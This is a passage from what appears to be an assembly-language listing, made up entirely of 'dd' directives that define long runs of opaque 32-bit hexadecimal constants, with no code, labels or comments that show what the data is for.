44C5FFC2h, 93410A1Fh dd 8C998F9Eh, 85056D89h, 5840F4DAh, 40C83DDAh, 88CA315Bh dd 64D6614Fh, 6C808847h, 0FD6EE99Ch, 0D18D60Ah, 0D1BE32C1h dd 331516D1h, 0B3923146h, 1BA61FEDh, 2481889Dh, 72902622h dd 16BBECEFh, 0C9CF21B8h, 51F10834h, 9269C41Eh, 9041DBA7h dd 0BB0E5AEBh, 5214DB8Ch, 852C9F78h, 0D7B4D783h, 19C417AFh dd 468C5C28h, 4AA958F8h, 63C11387h, 2F5E4454h, 4A0850A9h dd 2F33074Dh, 4C0224EEh, 53A92032h, 1A401217h, 30A9A5C6h dd 32DB46F4h, 0BA8D0AB6h, 0D4F0B4EDh, 48E05CD1h, 953B92EBh dd 5EF73F3Bh, 0CF2AE4B4h, 0EBEE81C7h, 0CC18928Eh, 5EC099C8h dd 0ECD143F7h, 56F2A4BAh, 4C5DACDFh, 0E92FBF61h, 0E96730FAh dd 0E481BC73h, 682AE49Bh, 8E675559h, 0B25371B4h, 0D5B6C58Dh dd 46D126ADh, 778F3597h, 8E103CEh, 40CAB316h, 67D2D615h dd 9C74E9C4h, 8DE734E7h, 30714EBAh, 7D7E4EEDh, 3F0A208Fh dd 0D94E6170h, 5FE68EEBh, 7DBDF52Ah, 0E70634DEh, 0BFDF42D8h dd 0E728EFA8h, 0C7BCE1D9h, 0C01ADD6Fh, 0F087D9D4h, 0C89353A4h dd 15823156h, 0CAD38AC2h, 1E01681Ch, 646BFE43h, 0E9651BACh dd 8C991D27h, 907B66B0h, 86220138h, 99C6A62Eh, 0FC707F6Eh dd 972BAD84h, 2160A4BAh, 48981965h, 37C3CBDAh, 0F9534BE8h dd 0A51F5FC3h, 0BFFEA898h, 6F9EA5C9h, 0EB6B2A77h, 583C69FAh dd 148015BDh, 6B32CBAFh, 0D172D2ABh, 2AC02C39h, 0BD42C6E0h dd 65F03A8Eh, 2F0AA57Ch, 0F6E24C88h, 6BE706EBh, 0CBEEF5C4h dd 0D245D04Fh, 0F86EB993h, 4DF5DE8Eh, 0AFFD6188h, 1B0AA395h dd 3EAD595Bh, 5D79CD56h, 0E798B91Fh, 48C0AABBh, 8584BDFAh dd 84FAA199h, 0BBB8B5C4h, 146B6878h, 0C31A386Ah, 0F6BAC6A9h dd 39B76h, 1AF42404h, 799D622Dh, 6755B8F1h, 6D242772h dd 85C70FCBh, 7ACA6262h dd 0E8804991h, 0FF7073h, 0BE2617A4h, 0E5DA529Dh, 8821E22Dh dd 0BD9DF4D6h, 53C840DFh, 0D1DCFFBAh, 7A67F558h, 0C1A258E6h dd 60CE64F3h, 14C1FF4Fh, 34617C27h, 0C17ECEDh, 0A4867023h dd 77C9D6B1h, 0E94AEED6h, 362F933Fh, 1A5B9A29h, 6A222145h dd 0F5D88A56h, 7615A2h, 1B91DF16h, 1EA519A5h, 84CC0D6h dd 8C373AAAh, 0E6036973h, 19C8FD6Eh, 0CC527B07h, 2722D847h dd 0A303325Bh, 0CFFCD116h, 83C2824Ch, 5534AF44h, 52C18B6Ch dd 0AEB8514h, 2556D10Ah, 173FEF49h, 0EF9EF400h, 0A1C28388h dd 4B22BF8Ah, 5F5D013Ah, 0F0AA142Ah, 0E39B6383h, 1678CD8Eh dd 5E6AF465h, 30001AFDh, 527DC2AFh, 1F0FC91Eh, 0A2903B9Dh dd 97030133h, 0B8868051h, 9A05B9Dh, 32432562h, 0FD1B95B5h dd 2EF5326Bh, 0E56799B6h, 4B83DA84h, 0A2B02F61h, 58C4875Ah dd 83EAD7DBh, 0E8942A53h, 0E39E32FDh, 324EDCD3h, 7981A629h dd 3A927C07h, 0E9526191h, 40903CD9h, 0E4E9CE56h, 2426B628h dd 90A042D8h, 53C0D5C6h, 0E808D6C5h, 0ED1C26F3h, 250D75F1h dd 0A49529F3h, 0DADBE651h, 0AD6D4352h, 8766F1C7h, 7EC34858h dd 16ACB381h, 0F57EF8C8h, 0B3D6B198h, 72D2786Fh, 71E68D27h dd 0E2F5E2BEh, 87DC3789h, 8A3F6237h, 0C93A8818h, 0F051471Eh dd 0F58EB47Bh, 270F4021h, 0C6D31076h, 0D29DA5D4h, 5ADB4332h dd 0DA1CDE36h, 7D0B7DBFh, 0C1D2DB70h, 0D57EE34Eh, 8D42A574h dd 0B8AAC6F5h, 92D03F4Eh, 0D71ACD65h, 181A1AEEh, 522FCDE4h dd 60A00E40h, 859A9FA0h, 6C55A07Bh, 0A9137873h, 0A078B16Eh dd 0BD63ECBh, 0AA7B419Bh, 0A3F0C72Eh, 0BE917C2Fh, 0B6C005ACh dd 0D16C94A6h, 1DA31CB4h, 4E76C9AAh, 0F46B64E5h, 0D91A2472h dd 33E3A18Eh, 9C7F8461h, 0DADB1B64h, 0E832E951h, 3FFAACC6h dd 0A5642762h, 9EFACE64h, 8A6C2E25h, 0B20C5E72h, 8FAF7075h dd 212385CAh, 0B454829Ch, 3D667532h, 0ECF68BC6h, 0FFAFA8C0h dd 51C0D8D2h, 230AD963h, 4860C52Bh, 0AAAEC838h, 4D7EBA29h dd 0EB4FA2C6h, 0C5ABDB02h, 33D7005Ch, 9B481D86h, 0F1CB90EEh dd 0C9386E4Fh, 507AF194h, 6DA86442h, 19C430EBh, 7284728Ch dd 0FE8D4E3Ah, 0F1846422h, 72096F49h, 0F6624859h, 16963880h dd 0D50F58E2h, 0F5C6F8ACh, 165E78A8h, 3CC4A0BDh, 0C9A3C629h dd 0D06B4CBCh, 0BBBB1B2Fh, 0EE04571Bh, 0A23DDF03h, 0E5238999h dd 4F09BF78h, 27E2DCFCh, 3781F3Dh, 4A3F42FCh, 0B832E6C5h dd 0DCDA1C69h, 8B206722h, 0BEE713F4h, 0A618C072h, 982AB392h dd 0FFA4DFBh, 0A7F4BB4Dh, 8A4BC5D8h, 0B73F8A1Ah, 0AA1174A5h dd 765B74D7h, 66165E9Ch, 0CEED9BEh, 360C1D9Ch, 1C662D89h dd 2F7B8735h, 84067670h, 8C227C9Ah, 6F2A532Ch, 0C9A19B22h dd 3D98F10Eh, 69C50FC4h, 9091499Fh, 93F21874h, 1BCB614Fh dd 0FEE1E094h, 0BF3D8185h, 714CCB2Dh, 707807CFh, 0D5F45557h dd 0C8979B0h, 87DCC11Ah, 5A61B9E7h, 0AE22FCA9h, 0E85DA755h dd 0F03FA69Dh, 5F19081Ch, 64B9FE23h, 3957FF09h, 9190EF8h dd 0E586BB59h, 0EED5F42Ch, 5FE6ADBDh, 0EF029764h, 0B8D4BDCBh dd 9EA2EA87h, 0ECD7EEAAh, 98D3585Fh, 3503B526h, 8290CF1Dh dd 3C9BE8E6h, 8614E43h, 3992CD5Eh, 845AC625h, 0C5C6BD3Bh dd 0EC166E54h, 63222D6Fh, 42042020h, 0F53F0C3Dh, 1618E610h dd 0B4EBBCFBh, 0F287AFA6h, 7C2B678Eh, 700D153Ah, 7BE47DFFh dd 0C58D1D22h, 598504F4h, 5B9457F2h, 0F54E573Dh, 0E7ECB5F8h dd 5C0D0A51h, 8EF2E3A6h, 0F43E7AB1h, 79E8D7B8h, 379FE531h dd 0F5C65C0Ah, 2FEA81EBh, 0D9A6DE79h, 4FA6A686h, 80A04683h dd 993493FAh, 0D43593BDh, 0C54D9FFCh, 3CF5FD94h, 91A0C204h dd 51200FAh, 363C4944h, 40118F80h, 9ECC62FCh, 12B0F1Bh dd 22376FACh, 564E131Ah, 814B95E1h, 0B5D0B7D2h, 0B70C8963h dd 0EB61ED22h, 3C544B45h, 0B743F15Bh, 36DAA051h, 1BDA22C9h dd 0DB563C53h, 0EF8D5C62h, 7041174Bh, 2EF30B27h, 0E5898F53h dd 75A1DABFh, 7148DDBAh, 0D4F5D133h, 67E1E8C3h, 0DC002D32h dd 0C7BB53D0h, 71B611A0h, 91FC4E11h, 0AA7528D4h, 0EA690861h dd 829CF6Ch, 0C2B8A679h, 3AD7BC97h, 123E8227h, 2211CCCDh dd 6BB72915h, 8ACC83D8h, 0B109513Ch, 0DBA8FF5Ah, 0E98608h dd 1BF32BB4h, 0D523CA0Dh, 0EE220901h, 7AD17B7h, 0EDBD1E84h dd 0A107A8F4h, 0CC206472h, 30D75413h, 0E1214923h, 0A2FDDD4Bh dd 637FD42Eh, 32713B77h, 46B11308h, 6A449423h, 64D7CE97h dd 0B3E2B12Bh, 9C0C2119h, 4501BB75h, 61D91D7Fh, 0ABD15F05h dd 0AE4E71E5h, 0B4114C2Dh, 445BF8CBh, 62CC002Fh, 69610D6Ah dd 7CB84ACBh, 7C5598BEh, 4142AC19h, 3E140B76h, 0D850DA86h dd 0A7875C3Ah, 711048C1h, 934CF5A2h, 0EA629E2Dh, 8B1EB848h dd 151E4A17h, 903EF555h, 5DAB3E6Dh, 9392269Dh, 473AD5CFh dd 3EA2B1E4h, 70A0E886h, 8F4AF19Eh, 780E39B1h, 0AD7D4BE6h dd 60F0CAC1h, 7AEC3008h, 0F8B65E9Ah, 0A0D4AACFh, 492697ABh dd 0B00CC410h, 8FFEF7Bh, 0C1ECEEC4h, 5DE4C723h, 33F78CEBh dd 4B9CA1E8h, 0DDC8F7E6h, 560414ACh, 2B16B871h, 5463AE53h dd 0EB522C4Ch, 153ABB8Bh, 6F722D5Fh, 9B0A942Dh, 296742D8h dd 69350B30h, 165D2223h, 0C17CAEE9h, 532F569Dh, 89985186h dd 0A79212BCh, 787B31EDh, 342F480Bh, 819CF42Ah, 5384FB0Ch dd 0BBC03BB1h, 0D55A28D3h, 0A84C0430h, 0A97106EFh, 4C895DF9h dd 2AC1E356h, 82545869h, 85736D05h, 0FE51CBF3h, 26B0512Eh dd 8CAFFDE0h, 314E92F4h, 9DCC86FCh, 0C8382502h, 393193C0h dd 3E544B15h, 0E18DED00h, 0A671FBEEh, 9DE849F8h, 2D7913F2h dd 5060FC32h, 760AE95Ah, 0C2A0E164h, 0BAE410DDh, 0AED50C27h dd 0FA8A4A89h, 0C117D819h, 0A62CD58Eh, 0DC695CB2h, 0F8B286DFh dd 0D91BE98Fh, 19D10C69h, 0F562A0D5h, 0E66D9F99h, 0C5E3019Bh dd 5AF0BA4Ah, 1C88292Ch, 7C624F66h, 0A1933B5Fh, 91E3BA5Eh dd 0AC4427C3h, 0C39482C6h, 295F5A16h, 0BF832B03h, 987B2CBCh dd 58C47ADEh, 130BA710h, 22ABF2CBh, 0EB48C42Eh, 35D688D9h dd 6E6A412h, 2975E8C5h, 589F9C2Eh, 3C995A67h, 7ADDFCAEh dd 93563D5Ah, 8124BC84h, 89D64E3Ah, 0BE71CC89h, 36310241h dd 3815BC1h, 696F4B18h, 1C87C24Ch, 0BEFBB100h, 23FF4444h dd 4EF0CF56h, 252559CBh, 8C9EC100h, 2AA2079Bh, 26ACB849h dd 0E426BC00h, 7FE9BE89h, 0D3C0A7E9h, 77EFA46Dh, 0E659BB16h dd 41A56662h, 0C4D6E89h, 6D3481F9h, 6A422818h, 7E65E4Ch dd 88B96A0Dh, 5ECAEB7Dh, 8C06498Ch, 0A9F28AA0h, 0DFBC0F29h dd 0F5F0E83Ah, 42C39DB6h, 0C1AB58EFh, 885CFAh, 0AA1F029Dh dd 0B66E0B54h, 93E65B1Dh, 2C36D0DEh, 6E7E72F3h, 54957580h dd 1F3F562Fh, 65C16BFAh, 12E03CEBh, 0C2DB13E2h, 140D72DEh dd 0A54EC50Dh, 0CFC8B11Eh, 28096A8Bh, 13EAB0A5h, 9672E195h dd 9E16BAF7h, 8419A880h, 15D4CE5h, 49EFEC11h, 393158D9h dd 33F64D5Ch, 2B5F1A41h, 0EF0BD81Ah, 0CBFDD199h, 0FBE548Dh dd 5B677D0Ah, 94CC3DDCh, 0A82E2907h, 0F3553554h, 693B8EF5h dd 6C3F548Ah, 0D5A58945h, 0E9AA463h, 700199D0h, 0F92063A4h dd 1D9171A6h, 627A40AEh, 975CDC09h, 64BD873Ah, 0F852603h dd 37303375h, 84773FCEh, 923D6D13h, 1D0121E2h, 0FBFEDC28h dd 7EA4926Dh, 0DEB09E3Eh, 35DC1168h, 96186BC7h, 4C129050h dd 912A3648h, 3A1F62F9h dd 70513CCDh, 0D9D9DB9Fh, 0E970F38Ah, 6BE4D27Eh, 4FDC62h dd 402B7A7Ch, 60822786h, 60EEE6F8h, 7BE9ED44h, 0BD3DAA8Eh dd 1AF9A6BEh, 964422B3h, 0ADFDCBD2h, 93230F99h, 8ECF4411h dd 0BC91D024h, 0C84A8230h, 73739AD6h, 0B0606276h, 99D5FDDCh dd 15CAE0E7h, 277FBD46h, 0D9A5A393h, 28214E68h, 0F6D60250h dd 0AF95644h, 0F2F6A85Eh, 76624F53h, 34A353C5h, 98D55418h dd 0FAB375C7h, 7CAAED9h, 0EF0D3981h, 62DDE1BEh, 0F9632497h dd 0C8899D26h, 9404BC9Ch, 81589D9Ah, 6B85F769h, 0E49442D4h dd 23FAC6A5h, 0E980FDF4h, 73863A8Eh, 1A59ADE9h, 9E2C7D75h dd 5C9D35EAh, 0AC2F2F04h, 61D2B64Bh, 2A059302h, 0B8A7FAEFh dd 8BB8BCB8h, 8BBA3728h, 0FDDD4D5Bh, 0CF3796C8h, 0B321593Eh dd 0D0740E9Dh, 69C38Ah, 0EF4B058Bh, 3993DBB1h, 2FA48B1Eh dd 7D1EFB61h, 0EBDE4070h, 0D98BF63Dh, 0F5E93574h, 69DEE4C5h dd 61B2D69Fh, 854E3E7Ah, 99EC12Dh, 0FF014B36h, 2857BF7Ah dd 70E40F61h, 703571F3h, 4043A17Ah, 2DFB0B9Ah, 0EA452F41h dd 0E3D840B0h, 0B48CF6C2h, 1E29829Fh, 0F8BC4767h, 902D25B3h dd 5EB587BDh, 0FA4D9B27h, 7603B9AFh, 74A302CBh, 83D7B415h dd 5902B38Fh, 9D8D1BD0h, 0C5AA1B41h, 50C386FCh, 0BE41C64Bh dd 18732F3Eh, 2019FAF6h, 9D1C0740h, 69EDB920h, 9EA18E28h dd 8CCA16ADh, 396DA652h, 0B53D8A41h, 0BB9A266Ah, 0AEA83658h dd 0D48FB9C4h, 97DB4295h, 33DEBA01h, 84404D3Fh, 7A891E4Fh dd 0F4ABAA76h, 0D6C682ACh, 0C5A6E774h, 58774453h, 7B016B06h dd 0A07B11E6h, 63D2B7EDh, 22129706h, 3E803369h, 534B7962h dd 3CC6DEBBh, 8C47B639h, 2610A65Dh, 0DDAA640h, 0CE8AE55Bh dd 7C35D0E8h, 2A56926Bh, 0A7CA8F51h, 0F17D667Eh, 4DEE529Eh dd 0E33E7866h, 2EAD33C5h, 22E08906h, 6A599F1Ch, 3F9F390Ah dd 7AFEF221h, 0ABC06DB9h, 76077793h, 87DA16B4h, 0DFE34013h dd 701D19E0h, 167BA378h, 55E85F32h, 0AA6ADE36h, 0CADABAE9h dd 0C8BB2E94h, 0C664B85Eh, 4685BCB9h, 1AE33BABh, 0E5FDEDD4h dd 1EDE48F0h, 0EE08351Ah, 4198FEE4h, 8650927Ch, 398D23A0h dd 369D92ABh, 5B04D0Fh, 37C50CF7h, 33D4485Ah, 683028E3h dd 0AE0CE582h, 15AC92CDh, 0E5ADCB18h, 175F17D7h, 544ADD63h dd 0C797D13Fh, 0DCAC67BEh, 896371E7h, 0F9B4B619h, 2AC415ADh dd 0BA3FDD7Ah, 7B277966h, 0D48F5024h, 10F887A1h, 7A46E173h dd 2E29B489h, 25B62207h, 41B9678Bh, 0C1470A00h, 4C795CA1h dd 60AF5FA3h, 1B19B800h, 7BBC33FFh, 0A37457C5h, 7FE760F2h dd 0E0A4B6FCh, 0C3CFEDDCh, 0E7A4000Ah, 0ACF81A3Eh, 7C34D4A3h dd 24561273h, 0BEA75BE0h, 0AD540B15h, 6230CCC8h, 9F648F38h dd 26A9D435h, 8A1174D1h, 8DBA4004h, 70ED2D15h, 0D47378FCh dd 83DF13C6h, 0E9AC86F3h, 4019F623h, 0F9ECF8F8h, 0D8C55113h dd 71EBD953h, 4961E6B2h, 539B3457h, 50E2AC35h, 7D2EDA6Bh dd 0FE20FB62h, 9D1FD196h, 4555A85Eh, 0FAC7AE3Dh, 0B4011B68h dd 62A06720h, 0FA35FE55h, 318291DCh, 0C8E72F82h, 88C991F4h dd 503F6991h, 68CDDD60h, 0ADA2AE04h, 721E7815h, 3EE6C56Ah dd 82CAEBA3h, 4FDD0B5Bh, 0EA40CEA1h, 3335E7C2h, 0F0DC3D1h dd 0FC28FB54h, 0AC774ACFh, 2149B50Eh, 0CACD3003h, 27E02B5h dd 6F07B4F2h, 84CE82F9h, 264553F8h, 0C1113DB7h, 0D1579346h dd 585CD0Fh, 0B29999F4h, 0A24B59C0h, 5F0968DFh, 902F2D3Fh dd 0ADBEA020h, 0AA0D4737h, 0ACFDCDB4h, 3F932Ah, 38ACA485h dd 0B497D9D4h, 0ADD32535h, 0D7C16446h, 9270D7F6h, 76DC9A38h dd 0A60BAC0Dh, 0F6A46259h, 49F220E9h, 0D122519Ch, 1B41CE81h dd 68B502F4h, 0E801764Eh, 160CD4CFh, 571EBA7Bh, 0F1EC859Eh dd 824F1F83h, 10C2292Ah, 26086023h, 723AF1B6h, 23FEA46Ch dd 0C87C4B1Ah, 422190A5h, 5F3F6C9Ch, 11DEBEEBh, 1E42EC5Fh dd 44B9E204h, 68AF5056h, 56652743h, 85379CA4h, 6248420Ah dd 748EE107h, 5218BA73h, 0A71F6A61h, 8C25833Eh, 0E89A5C27h dd 0FF1C95BFh, 12E3671Fh, 1C83A8CDh, 59F6B05Ch, 0D960E715h dd 0BC3D24FDh, 0B8A854BCh, 238A6CD7h, 4AB9DDD1h, 0C4B01F1Ch dd 87990368h, 9C4FA6B1h, 6E9327F4h, 8E512C0Ch, 7EC65AFFh dd 0D999CA9Eh, 9B5906ADh, 16E23460h, 7CBBD067h, 549F5BB4h dd 0A16BC67Dh, 39F07795h, 3DAFA714h, 0AA8C9E37h, 0FD5E84A4h dd 0CE8DEF37h, 83CEA7C3h, 705F636Ch, 88687827h, 2C1A4EC4h dd 4222A3AEh, 0DE88B53Ah, 0E0B7AE94h, 69AC982Dh, 0AD89309Ah dd 2F58E6BBh, 454D54CBh, 485E9F48h, 21213EC5h, 0F8714C54h dd 49CFE65Fh, 5E1A5793h, 2EE52F80h, 0A7FCF93Eh, 6E6B800Eh dd 7C0DC3C5h, 0F43F365h, 63EA014Fh, 0D3EBB48Dh, 191759EDh dd 0FA3C0D8Fh, 34E914B1h, 0EBDDF857h, 0A23A1469h, 1722CD9Bh dd 296DEB70h, 115075F8h, 67A74454h, 0FD121ACBh, 0DA83F34Ch dd 223D97BFh, 0B66D65F7h, 5E611E9Ah, 496E8FBCh, 34E3144Ah dd 4314C73Ah, 28AA6393h, 21F2F034h, 0ED1EB39Dh, 0D775CD4h dd 7EEE61C7h, 4B4A0B97h, 0EC42CEFFh, 9975E878h, 7BA663D7h dd 6395B371h, 0E7DB54D9h, 60AA2D2Ah, 917984D5h, 0F6E83AA0h dd 3D1012AFh, 13D08599h, 0C683A1C8h, 4DECAD6Eh, 9128F40Bh dd 0B4825F35h, 478B21D8h, 44EE08A7h, 5727892Fh, 0C565D4D8h dd 2EAB5C0Fh, 0F0D8DD1Ah, 6C6C8BCCh, 7537CEFBh, 0C6ED2187h dd 32828F2Bh, 49394E50h, 0A5589B61h, 0BCC07302h, 0AE0CAE64h dd 456B0976h, 942E4359h, 7C21C6ABh, 277ED271h, 0A91E34B0h dd 0F08574Dh, 3B68F32Dh, 42410063h, 853B88ECh, 4E9BB816h dd 0BF7199EFh, 8C751EC3h, 931E2820h, 0D69C5DBCh, 0C03896ABh dd 6533F7B1h, 760D2614h, 334B0328h, 6B79DD1h, 2F6D37D0h dd 8D317A75h, 1987C953h, 9CF664F5h, 0B9538E1h, 0C84C9F69h dd 90A9E080h, 1604683Eh, 0DCA404Ch, 9BF16223h, 0F2B452FDh dd 0F9C638CDh, 2D323BFBh, 3A1E8A85h, 25FCB17Ah, 7B9369A5h dd 0F9ECF378h, 154EA5D1h, 0ACB58EBCh, 6FA7FE82h, 0EF0AA3CEh dd 0F8D8ECECh, 3CF2356Dh, 51AE7351h, 80CE2524h, 11868BF0h dd 0FFEEB574h, 79005656h, 0A5E72E04h, 14BA8888h, 0B60FBD00h dd 43231E31h, 752948F2h, 58BD1027h, 0BD54F127h, 7A6BB8C4h dd 0D6569061h, 60101B6h, 3A3183h, 932AA4A0h, 0F3E30EB8h dd 0F3DD5E70h, 0A3B7EC14h, 0EE24575Fh, 0AED5CE42h, 0C061EDAEh dd 9D421ADAh, 9C69D607h, 0D0E16C2Dh, 0B215BC94h, 91550F3Ah dd 33E240E1h, 0AE02523Eh, 7C6B493Fh, 0FDF5B6D4h, 0C23CD0CEh dd 655ED56h, 0F638C15Eh, 8F6C25FFh, 0E9CB0065h, 2F5F9649h dd 0C635BF65h, 0F05F6C1Fh, 6FBB20D8h, 373B9B0Ch, 473055E9h dd 0C4BF11Dh, 651898FBh, 9DB5E83Dh, 8E58AA6Ch, 2FDD984Fh dd 204994BEh, 4BEBC9EAh, 3B696A10h, 0F2BDD2EDh, 0FA6E78F5h dd 0B6188FC2h, 7F9C5BFFh, 0B2A54979h, 53D55653h, 0B3B26B60h dd 1AB58B88h, 0DCB613F0h, 2FB1D43Ch, 9051340Fh, 0C7AA4731h dd 0C45372F5h, 910A2726h, 2B782A4Dh, 8C790A93h, 69D95156h dd 460890EEh, 90723D67h, 1E357D85h, 0D7E597D6h, 9F782348h dd 8EBF289Bh, 0D06969EBh, 4BF2005Bh, 1F379058h, 13B02D59h dd 76882C6Bh, 962E9A17h, 0AA4AA466h, 0D2940FB8h, 9CE95E10h dd 57F3E7AAh, 4D489EE4h, 31971193h, 0BA349474h, 3CF8F7D0h dd 0A9CEF625h, 0C31D52F4h dd 0E417A598h, 6680A33Ah, 1FE077B8h, 0B9F2B806h, 0B77E6B53h dd 0C28C4169h, 0C2A0E983h, 7220B538h, 2FE36DCCh, 0BC09B9E6h dd 7ACF007Ah, 33FF8FF0h, 2F03BADAh, 0EC4A2038h, 7FAF4B38h dd 3A92748Eh, 0BD855FB5h, 0FB367F16h, 0C0DEE05h, 8E2A279Ah dd 6000C287h, 81518C1Ah, 617C683Eh, 7801C9AAh, 6606A30h dd 0DE9489Dh, 0C6AEBD02h, 26A935B3h, 9080C76Dh, 0A14DEEA1h dd 0EBBB6D0Bh, 9E4EF4A6h, 0E0041E2Eh, 344B21A9h, 379926FAh dd 4751F4B7h, 39D4D2ACh, 0B4589D6Ah, 0A3D3A5D6h, 5C602EF8h dd 0CE1D0B85h, 7E3E8769h, 0F90854E9h, 158BB41Dh, 61647EFBh dd 99F207D2h, 0DCE8FEB7h, 0C45A5096h, 0DE86953Fh, 9C9C371Bh dd 0F1A248DAh, 0D0CFEE14h, 46845BCFh, 9CB3CF50h, 8E8AF4A1h dd 0A223E7D4h, 1C1A3669h, 0DB5FFCEDh, 6E29373Ah, 245FE600h dd 1CBD04FCh, 6284B279h, 61EE8D9Fh, 78D2AA1Ch, 0C5B7084Eh dd 6E04F8E8h, 0A71F8C79h, 57AA7851h, 726BDF54h, 0CA9108DCh dd 0C2430D1Eh, 72EF148Bh, 7FF4522Ah, 3CACB7D1h, 3F9C1681h dd 2BBA6563h, 0F08FC00Eh, 1B30F145h, 17B8228Ah, 116CEEC4h dd 1915351Fh, 67489882h, 19D8AB85h, 6EF8AE87h, 44E87B9Fh dd 0DD757EF5h, 0C2CA8641h, 0B4EB4C8Dh, 93E395DFh, 0A366B67h dd 3B5F65F5h, 0F3A3FA13h, 6F4841CBh, 89C6E5D6h, 0BE3FBCCBh dd 8DB52F12h, 0EF43DD8Dh, 0B1A80A46h, 14553AEEh, 47A9EC8Eh dd 83517367h, 0F65250EFh, 0E786C404h, 2200D6FFh, 6575C5D2h dd 91DED4B6h, 6073AB5Bh, 0C4676B6Bh, 0F549DE1Ch, 52A4BB52h dd 81A4E77Ah, 3EAA321h, 7F61CF3h, 185AF41Ch, 6E8AC087h dd 5A8A1F1h, 0B3D13820h, 0E247D829h, 0E466BDA3h, 18940434h dd 2CD05DD6h, 0A10E8073h, 9993116Bh, 0CE7F65Dh, 0DCE0343Eh dd 218AFEBEh, 0F178418Bh, 6D05E072h, 8DEF16E2h, 89E07AADh dd 0CBDBBA98h, 3873B97Ch, 3B83A073h, 0E89C53AAh, 0B4FA02B7h dd 67A65CFh, 4DC3C230h, 77C8DC68h, 772B008Eh, 4DF8D160h dd 0F3772F8Eh, 4B294C5h, 56308D45h, 77A8B71Eh, 6E273AC6h dd 0E5EC15F4h, 2766B8C7h, 5E5B80Ah, 39F669B3h, 0C8E8F0F5h dd 23D40A82h, 3015D32Ch, 0E9F573CEh, 0CEA50BDh, 0BFCE5CEDh dd 283C9C90h, 0E6B331B5h, 96B93E8Dh, 0F2D47DD4h, 275DF17Fh dd 571D344Ah, 34B72C50h, 93D01F87h, 9CBE1468h, 0EB50B1B0h dd 74444BFCh, 972E0939h, 0FDA02021h, 47457141h, 7812EDEEh dd 7AF847B2h, 91F8D156h, 0A91EC51Ch, 0EFE2A3DFh, 941AE9A4h dd 9319848Ch, 0B2B45C5Dh, 9103AF33h, 2C540513h, 1E5CE6BAh dd 69461656h, 0B7B840D4h, 0B5BA255Eh, 0E01143D4h, 382C4F73h dd 29ED428Dh, 975FAD16h, 0E7E7DA50h, 402BB92Fh, 725D3464h dd 561A7D40h, 0E1ABBEBAh, 8D1ACD45h, 0BB1E2A7h, 531CDBE6h dd 264A3BE3h, 0A06B4FA1h, 0CF769A4Bh, 15652D3Eh, 0DA26D7DBh dd 3D83BA4Ah, 0C27436B9h, 0DB2FDFh, 0AF36C44Bh, 0FF8822ADh dd 0F90D94B7h, 221F5DB7h, 147324B2h, 4C8EBA15h, 6CC9FC71h dd 0A11D670Bh, 0CE37A192h, 4ED62E28h, 161C8AE6h, 1FA946B9h dd 36EC6BB1h, 0AA3EAD2Ah, 0DCB6D5Dh, 4CB7E595h, 7F1BE76Bh dd 0E69D7B78h, 0B10C7C42h, 0EB0C9D06h, 5BB540DCh, 0DF488117h dd 53667880h, 24A8D20Eh, 7411A2E9h, 0F1AE7FC7h, 0DA2FAEE9h dd 7859721h, 1550A037h, 88BA675Ah, 0A2E94E1h, 0ADABA87Eh dd 0EEE730DBh, 0CA1FE8D5h, 0F988473Fh, 3EDEA9B8h, 51A6E537h dd 5152293Ch, 0B45CAC4h, 0D93E6C85h, 0D61CE59Eh, 3AA8EEE0h dd 0AA78598Dh, 78C40E21h, 0B99055CCh, 0BBC46248h, 5859D565h dd 82681E8Eh, 49CF524Ch, 0C6837886h, 22C8F0DFh, 0A75381ACh dd 709E43F6h, 20B080Eh, 87C207E7h, 0A074A86Ah, 29EDF7A6h dd 0D8948E87h, 0A0743BB3h, 318324A8h, 513EAB69h, 12EBD077h dd 86ECE0AFh, 0C1324D92h, 5936C416h, 0D842AB4Ah, 5E1224A5h dd 0A87AB030h, 0A456636Fh, 9D900AF3h, 0E6F2F37Fh, 23B4B763h dd 9D9ED841h, 0A11D4C13h, 399E0E4Fh, 0FE60D911h, 42260A27h dd 0AD21A7B0h, 15D192A7h, 0B09CCED6h, 73D0A5D9h, 0E6C37436h dd 8C899748h, 2FF45796h, 0D3B55903h, 1AC3B337h, 557554B5h dd 0C258DFB5h, 0F4412A22h, 0E5079693h, 0A1589B07h, 0A7D6ACD5h dd 88E950BFh, 23B1C31Dh, 0E4617B02h, 0AA6F35CDh, 5DDFC626h dd 0E4317F28h, 43A4D629h, 0CB8CE394h, 0C88E1101h, 7F00D175h dd 0FFDE6F32h, 53F7E707h, 3BAFEBC8h, 0EB3E77CCh, 97A08191h dd 95D58F2Ah, 1DDD402Fh, 31F5BA4Ah, 5DF3AF74h, 6D1C28DAh dd 9D29E5DFh, 0BB381A2Bh, 0F9A52282h, 0B2C4A263h, 3B06BDD7h dd 0E1FB1058h, 0DE07E67Dh, 0FBE4D96Bh, 57406C3Eh, 69645D6Ch dd 0B09593BFh, 14BCE665h, 0CE9EEEECh, 6649A58Ch, 2A52430Fh dd 79FCFE78h, 0B3B8889Dh, 561BAB48h, 79FFABC3h, 53BD7C5Ch dd 0F132B290h, 637C8AF3h, 0AF8C13BBh, 0DEAA4EE3h, 3A71FBBEh dd 9ECBAB1Ch, 7C0FD97Ah, 0D5F6CFA9h, 0B3B37918h, 0CDD9C2Ah dd 0E55A6F5h, 0D24F5A45h, 0D64ECBA2h, 1F512F02h, 8F764F46h dd 8D76EA67h, 0F3B560FFh, 6F9F6C6Bh, 8DE1BC55h, 0E2FE7018h dd 4D3599B2h, 4A212010h, 9DCF463Bh, 0EB866849h, 25A4E5F6h dd 4D9FE406h, 0F2A26CC3h, 8CE5A85Bh, 0AB811203h, 0A9EC68C7h dd 0C99EA8C1h, 3F20EA4Eh, 2F41E0E0h, 689876DBh, 0ED81BF77h dd 11981CD5h, 5EF67E61h, 34713FC5h, 0A8F68B3Ch, 0C53A5921h dd 0FCBB89D4h, 26F902AFh, 0A2E805C8h, 44A2098Bh, 1CC1D924h dd 1C829A05h, 0E2677D35h, 0AA6505BAh, 1BD24019h, 0A20245F5h dd 0A2C763A5h, 0CB295BEBh, 0BDEDE9D9h, 22948999h, 0CAB9EEBDh dd 96ECDB3Eh, 1D8906CBh, 0EE4E5B96h, 0CC0C37E3h, 0F8AD3F95h dd 7E00CD00h, 0C07D2819h, 80FC96E1h, 0D3D3F5B4h, 0A573DB6Fh dd 985CBADAh, 8135F069h, 0D5FA2460h, 0A59F5B11h, 0A026F910h dd 69738DFAh, 3BC9D761h, 4F6B8724h, 11596C8Fh, 0F3F85E6Ch dd 0F68D8A1Dh, 1ACAB504h, 6FC6A635h, 448F3BDAh, 7B8EC3E7h dd 0C4728E0Fh, 7F9EC2ABh, 94E1B5B5h, 0E6FE6CE8h, 